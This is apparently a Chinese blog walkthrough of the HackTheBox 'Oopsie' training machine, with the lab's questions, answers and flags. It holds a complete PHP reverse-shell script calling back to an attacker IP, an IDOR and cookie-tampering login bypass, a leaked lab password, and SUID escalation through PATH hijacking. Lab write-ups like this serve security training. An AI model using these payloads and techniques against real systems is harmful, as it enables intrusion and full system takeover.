HackTheBox-Starting Point--Tier 2---Oospsie

文章目录

  • 一 Oospsie测试过程
    • 1.1 打点
    • 1.2 漏洞探测&权限获取
    • 1.3 横向移动
    • 1.4 权限提升(SUID提权)
  • 二 题目


一 Oospsie测试过程


1.1 打点


  1.端口扫描

nmap -sV -sC 10.129.130.104

HackTheBox-Starting Point--Tier 2---Oospsie_第1张图片

  开放22和80端口,访问80端口,并且发现网站有关于存在登录页面的信息:

HackTheBox-Starting Point--Tier 2---Oospsie_第2张图片

  尝试寻找登录页面,发现/cdn-cgi/login页面:

HackTheBox-Starting Point--Tier 2---Oospsie_第3张图片

  访问http://10.129.130.104/cdn-cgi/login/

  暴力破解未发现可用的账号密码,以guest身份登录:

HackTheBox-Starting Point--Tier 2---Oospsie_第4张图片

  发现上传页面,但是需要超级管理员用户才可以访问:

HackTheBox-Starting Point--Tier 2---Oospsie_第5张图片


1.2 漏洞探测&权限获取


  Account页面发现URL中存在参数 content=accounts&id=2

HackTheBox-Starting Point--Tier 2---Oospsie_第6张图片
HackTheBox-Starting Point--Tier 2---Oospsie_第7张图片

  id=2时,登录用户为guest,如果将id=1,是不是可以跳转到其他用户;将id=1,页面返回了admin及Access ID

HackTheBox-Starting Point--Tier 2---Oospsie_第8张图片

  从上述页面可以看到,Access ID=34322 Name=admin,那更改role=admin user=34322 的值之后,重新访问upload页面,是不是就可以以管理员身份跳转到上传页面

HackTheBox-Starting Point--Tier 2---Oospsie_第9张图片

  访问上传页面成功,上传php反弹shell:



set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.35';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;


if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}


stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}


	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);


	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}


	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}


	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);


function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

HackTheBox-Starting Point--Tier 2---Oospsie_第10张图片

  爆破上传脚本文件的保存地址,发现/uploads目录,猜测文件上传路径可能为:/uploads/php-reverse-shell.php

./gobuster dir -u http://10.129.130.104/ -w directory-list-2.3-small.txt -x php

  创建监听

ncat -lnvp 4444

  浏览器访问脚本文件:http://10.129.130.104/uploads/php-reverse-shell.php,监听端获取到shell
  执行如下命令,获取交互式shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

HackTheBox-Starting Point--Tier 2---Oospsie_第11张图片


1.3 横向移动


  在/var/www/html/cdn-cgi/login目录下发现多个php文件:

HackTheBox-Starting Point--Tier 2---Oospsie_第12张图片

  查看db.php文件,发现了 robert:M3g4C0rpUs3r!

在这里插入图片描述

  尝试使用 robert:M3g4C0rpUs3r! 登录,成功登录。
  并在/home/robert/user.txt中返现 user flag:


1.4 权限提升(SUID提权)


# 当前用户可以用 sudo 执行那些命令
sudo -l
# 显示真实有效的用户ID(UID)和组ID(GID)
id

HackTheBox-Starting Point--Tier 2---Oospsie_第13张图片

   robert没有具有sudo权限的可执行命令或文件,检查bugtracker是否有可执行权限或是否具有可执行权限的文件

find / -group bugtracker 2>/dev/null

# 查看bugtracker文件权限及文件类型
ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker 

在这里插入图片描述

   SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。
   在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。
   ​利用此特性,我们可通过SUID进行提权

HackTheBox-Starting Point--Tier 2---Oospsie_第14张图片

   bugtracker 工具使用 cat 命令读取文件
   在tmp目录下创建cat文件,文件内容为/bin/sh,并添加可执行权限

HackTheBox-Starting Point--Tier 2---Oospsie_第15张图片

   可以将/tmp目录添加到PATH环境变量中。

# 添加到path环境变量中
export PATH=/tmp:$PATH
# 检查环境变量
echo $PATH

在这里插入图片描述

   在/tmp目录下执行bugtracker即可获取到root权限

HackTheBox-Starting Point--Tier 2---Oospsie_第16张图片

   查看flag

HackTheBox-Starting Point--Tier 2---Oospsie_第17张图片

二 题目

Tags

PHP、Web、Custom Applications、Session Handling、Apache、Reconnaissance、Web Site Structure Discovery、Cookie Manipulation、SUID Exploitation、Authentication bypass、Clear Text Credentials、Arbitrary File Upload、Insecure Direct Object Reference (IDOR)、Path Hijacking

译文:PHP、Web、定制应用程序、会话处理、Apache、侦察、网站结构发现、Cookie 操作、SUID利用、身份验证绕过、明文凭证、任意文件上传、不安全的直接对象引用 (IDOR)、路径劫持

Connect

To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.

译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。

SPAWN MACHINE

Spawn the target machine and the IP will show here.

译文:生成目标机器,IP 将显示在此处

TASK 1

With what kind of tool can intercept web traffic?

译文:用什么样的工具可以拦截网络流量?

答:proxy

TASK 2

What is the path to the directory on the webserver that returns a login page?

译文:返回登录页面的 Web 服务器上目录的路径是什么?

答:/cdn-cgi/login

TASK 3

What can be modified in Firefox to get access to the upload page?

译文:在Firefox中可以修改哪些内容来访问上传页面?

答:cookie

TASK 4

What is the access ID of the admin user?

译文:admin 用户的访问 ID 是什么?

答:34322

TASK 5

On uploading a file, what directory does that file appear in on the server?

译文:上传文件时,该文件出现在服务器上的哪个目录中?

答:/uploads

TASK 6

What is the file that contains the password that is shared with the robert user?

译文:包含与 robert 用户共享的密码的文件是什么?

答:db.php

TASK 7

Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?

译文:运行什么可执行文件使用选项“-group bugtracker”来识别 bugtracker 组拥有的所有文件?

答:find

TASK 8

Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?

译文:无论哪个用户开始运行 bugtracker 可执行文件,用户权限将使用什么来运行?

答:root

TASK 9

What SUID stands for?

译文:SUID代表什么?

答:Set owner User ID

TASK 10

What is the name of the executable being called in an insecure manner?

译文:以不安全的方式调用的可执行文件的名称是什么?

答:cat

SUBMIT FLAG

Submit user flag

译文:用户flag

答:f2c74ee8db7983851ab2a96a44eb7981

SUBMIT FLAG

Submit root flag

译文:提交root flag

答:af13b0bee69f8a877c3faf667f7beacf

你可能感兴趣的:(靶场集合,#,HACK,THE,BOX,Hack,The,Box,越权,文件上传,SUID提权)